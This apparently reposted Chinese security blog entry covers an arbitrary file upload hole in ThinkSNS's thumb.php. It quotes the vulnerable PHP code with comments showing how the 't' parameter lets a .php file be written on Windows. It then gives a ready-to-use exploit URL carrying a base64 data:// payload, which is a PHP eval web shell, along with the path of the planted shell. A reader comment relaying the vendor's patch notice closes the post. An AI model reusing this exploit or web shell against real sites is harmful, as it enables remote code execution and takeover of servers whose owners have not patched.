根目录 thumb.php
看代码
<?php
/*
* 自动缩略图 参数 url|w|h|type="cut/full"|mark="text/image|r"
* thumb.php?url=/thinksns/data/userface/000/00/00/41_middle_face.jpg?1247718988&w=20&h=20
*/
error_reporting(0);
set_time_limit(30);
$biggest_memory_limit = 256; //单位M,后缀不要加M
//全局定义文件
//require 'define.inc.php';
//临时目录
$tempDir = "./data/thumb_temp/";
checkDir($tempDir);
//分析URL
$url = urldecode($_GET['url']);
$url = preg_replace('/(.*)\?(.*)$/','$1',$url);
//XSS脚本攻击探测
//include THINK_PATH.'/Vendor/xss.php';
//DetectXSS($url);
//2009-10-7 修改 将本地图片修改成相对地址,避免file_get_contents不能读取远程文件时出错(可修改php.ini 设置 allow_fopen_url 为 true)
//$url = str_ireplace(SITE_URL,'.',$url);
if(file_exists($url)){
$url = $url;
}elseif($result = GrabImage($url,$tempDir)){
$url = $result;
$grab_temp_file = $result;
}else{
$url = "./public/images/nopic.jpg";
}
//解析参数
$w = $_GET['w']?$_GET['w']:'100'; //宽度
$h = $_GET['h']?$_GET['h']:'100'; //高度
$t = $_GET['t']?$_GET['t']:'c'; //是否切割
$r = $_GET['r']?'1':'0'; //是否覆盖
//目录名hash
$fileHash = md5($url.$w.$h);
$hashPath = substr($fileHash,0,2).'/'.substr($fileHash,2,2).'/';//文件名和目录 第一个目录是md5之后的前俩位,第二个目录是3,4位
//缩图目录
$thumbDir = "./data/thumb/".$hashPath;
checkDir($thumbDir);
$tempFile = $tempDir.$fileHash.'.'.$sourceInfo['type'];
$thumbFile = $thumbDir.$fileHash."_".$w."_".$h."_".$t.'.'.$sourceInfo['type']; //文件名的设置,w h t都是可控制的。。 sourceinfo未定义过所以为空 Ps:在windows里 创建1.php.的文件 最后一个.会被忽略。。so 控制t=1.php 即可,windows
$img = new Image();
.....
//不存在输出
if(copy($url,$tempFile)){ //复制文件到temp..
.....
}
if($info[0]<=$w && $info[1]<=$h){
copy($tempFile,$thumbFile); //复制到最终
$img->showImg($thumbFile,'',$info[0],$info[1]);
unlink($tempFile);//删除零时
unlink($grab_temp_file);
exit;
}else{
?>
exp:xxx.xxxx/thumb.php?url=data://text/plain;base64,PD9waHAgaWYoJF9QT1NUW2NdKXtldmFsKCRfUE9TVFtjXSk7fWVsc2V7cGhwaW5mbygpO30/Pg==&w=&t=.php&r=1
shell:xxx.xxxx/data/thumb/44/ed/44ed1732a7e550e7a8874943fc774bad_100_100_.php
测试。。
摘自:https://t00ls.net/thread-20463-1-1.html
感谢网友“海虾”提供漏洞相关修复信息:
昵称:海虾
时间:2012-07-10 13:42:29
留言内容:
感谢提供漏洞信息,请看到博文的用户,下载修复补丁,适用于任何版本。
http://e.weibo.com/2012876342/yrN1o9KhD
#ThinkSNS官方补丁#
ThinkSNS在windows上部署存在安全漏洞,缩略图程序thumb.php可以上传php文件,请各位用户尽快修复,请在社区下载补丁,解压覆盖根目录下同名文件即可。
补丁地址(任选一个):
留言评论(旧系统):
